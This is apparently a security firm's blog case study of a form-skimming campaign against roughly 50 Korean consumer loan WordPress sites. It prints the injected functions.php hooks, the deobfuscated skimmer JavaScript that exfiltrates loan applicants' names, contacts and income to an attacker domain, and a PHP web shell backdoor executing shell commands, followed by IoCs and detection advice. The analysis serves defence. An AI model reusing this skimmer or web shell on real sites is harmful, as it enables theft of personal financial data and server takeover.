How can we help?

Message us on

KakaoTalkLINE

Response within 48 hours

Send us an email →
Blog
pankeit.com

Case Study: Loan Website Form Skimmer

The same three lines appeared in functions.php across roughly 50 Korean consumer loan sites running under one brand. Every loan application submitted — name, phone number, income, desired loan amount — was being silently sent to an attacker's server. The sites showed no errors.


The Injection

Two variants were found.

// Group A — direct attacker server reference
add_action('wp_head', function() {
    echo '<script src="https://ll9sh[.]com/custom.min.js"></script>';
}, 99);

// Group B — relay through a compromised intermediary
add_action('wp_head', function() {
    echo '<script src="http://[compromised-site]/wp-content/themes/imedica/js/custom.min.js"></script>';
}, 99);

Priority 99 is deliberate — runs after most plugin hooks, avoiding overwrite conflicts.

Group B doesn't expose the attacker's domain. The intermediary is another Korean .co.kr site compromised in the same campaign, used as a payload relay to bypass simple external-domain blocklists. The same pattern appeared across all 50 sites under the same operator. Not a single opportunistic hit — a coordinated multi-site operation.


Skimmer Analysis

Reverse-engineering ll9sh[.]com/custom.min.js:

(function () {
  var endpoint = atob("aHR0cHM6Ly9sbDlzaC5jb20vanMuanM="); // => https://ll9sh[.]com/js.js

  document.addEventListener("submit", function (e) {
    var form = e.target;
    if (!form.classList.contains("crm-form")) return;

    var payload = {
      name:      form.querySelector('[name="name"]').value,
      contact:   form.querySelector('[name="contact"]').value,
      amount:    form.querySelector('[name="amount"]').value,
      income:    form.querySelector('[name="income"]').value,
      loan_type: form.querySelector('[name="loan_type"]').value,
      t: Date.now(),
      u: location.href,
    };

    navigator.sendBeacon(endpoint, JSON.stringify(payload));
  }, true);
}());

Three things worth noting:

  1. capture: true — Fires in the capture phase, before bubbling. Data leaves before form validation runs; a rejected submission still exfiltrates.
  2. sendBeacon — Delivery is guaranteed even after page unload. fetch or XHR would be cancelled by the browser on navigation.
  3. atob() endpoint — The destination URL doesn't appear in plaintext, bypassing some static analysis tools.

And crm-form, loan_type, income — the attacker knew the exact field names specific to this operator's platform. Prior reconnaissance happened.


The Backdoor

Beyond the skimmer injection, wp-includes/class-wp-update.php was left on the server. This file does not exist in WordPress core.

<?php
$secretKey = '[REDACTED]';
$headerKey = $_SERVER['HTTP_X_SECRET_KEY'] ?? '';

if (!hash_equals($secretKey, $headerKey)) {
    http_response_code(200);
    exit;
}
set_time_limit(0);
ini_set('memory_limit', '-1');
ini_set('output_buffering', 'off');
ini_set('zlib.output_compression', 'Off');
session_start();

/* ===== Command Execution ===== */
if (isset($_POST['cmd']) && $_POST['cmd'] !== '') {
    $cmd = trim($_POST['cmd']);
    $_SESSION['history'][] = $cmd;

    if (preg_match('/^cd\s+(.+)$/i', $cmd, $matches)) {
        $newDir = realpath($_SESSION['cwd'] . DIRECTORY_SEPARATOR . $matches[1]);
        if ($newDir && is_dir($newDir)) {
            $_SESSION['cwd'] = $newDir;
        } else {
            $output = "Directory not found: " . htmlspecialchars($matches[1]);
        }
    } else {
        chdir($_SESSION['cwd']);
        $output = shell_exec($cmd . " 2>&1");
    }
}

// ... (file download, delete, ZIP compress/decompress, and additional features)

Without the correct X-Secret-Key header the file returns a blank HTTP 200 and exits — WAF signatures tuned to 4xx won't fire. Once authenticated: set_time_limit(0) and ini_set('memory_limit', '-1') immediately, designed for long-running commands. cd gets a separate handling path tracking working directory in session state. File upload, download, delete, and ZIP operations are all present. output_buffering and zlib.output_compression are disabled to stream shell output in real time. This is an interactive shell, not a simple file dropper.

The AI generation fingerprint isn't the Bootstrap dark UI — it's the comments. "Set your desired secret key here", "or 403, 404, etc.", "unlimited execution time": an AI explaining its own code and offering options. Korean-language section dividers on top of that makes it nearly certain this was prompted into existence.

Forensic traces

Network concealment was considered: X-Secret-Key doesn't appear in default Apache or nginx access logs. HTTP 200 on failed auth avoids 4xx-keyed WAF signatures.

Host layer was not. session_start() immediately followed by $_SESSION['history'][] = $cmd writes every executed command to a session file. If /tmp/sess_* or /var/lib/php/sessions/ wasn't cleaned up, the attacker's command history is still there. No timestamp manipulation either — mtime of the backdoor file against other wp-includes/ files reveals exactly when it was planted.

The AI-suggested stealth patterns were applied. The operational security a skilled operator would have added was not.


Indicators of Compromise (IoCs)

  1. Malicious domain: ll9sh[.]com
  2. C2 IPs: 172.67.133.240, 104.21.5.227 (behind Cloudflare CDN)
  3. Backdoor file: wp-includes/class-wp-update.php
  4. Network indicator: requests containing an X-Secret-Key HTTP header in access logs
  5. Malicious scripts: https://ll9sh[.]com/custom.min.js, https://ll9sh[.]com/js.js
  6. Distribution path: on imedica-theme sites, /wp-content/themes/imedica/js/custom.min.js containing a submit event listener or sendBeacon call

Detection

  1. Search functions.php for add_action('wp_head'. Any callback that echoes an external URL warrants immediate investigation.
  2. Run wp verify-checksums. Flags files added to wp-includes/ that don't belong to core.
  3. Set functions.php permissions to 444. An attacker with RCE still can't modify the file without further privilege escalation.
  4. Add a CSP script-src directive. Even a successful injection gets blocked at execution.
  5. Parse <script src> domains periodically and alert on anything outside your allowlist. This attack was detectable on the first page load after injection.

Three lines of PHP. Every applicant's financial data gone. Not a sophisticated attack — which is exactly what makes it uncomfortable.

Concerned about your attack surface?

If you'd like to know how your infrastructure scores in an attacker's scanning model, reach out at contact@pankeit.com for an external attack surface assessment.

©2026 Panke IT Solutions LLC

Austin, TX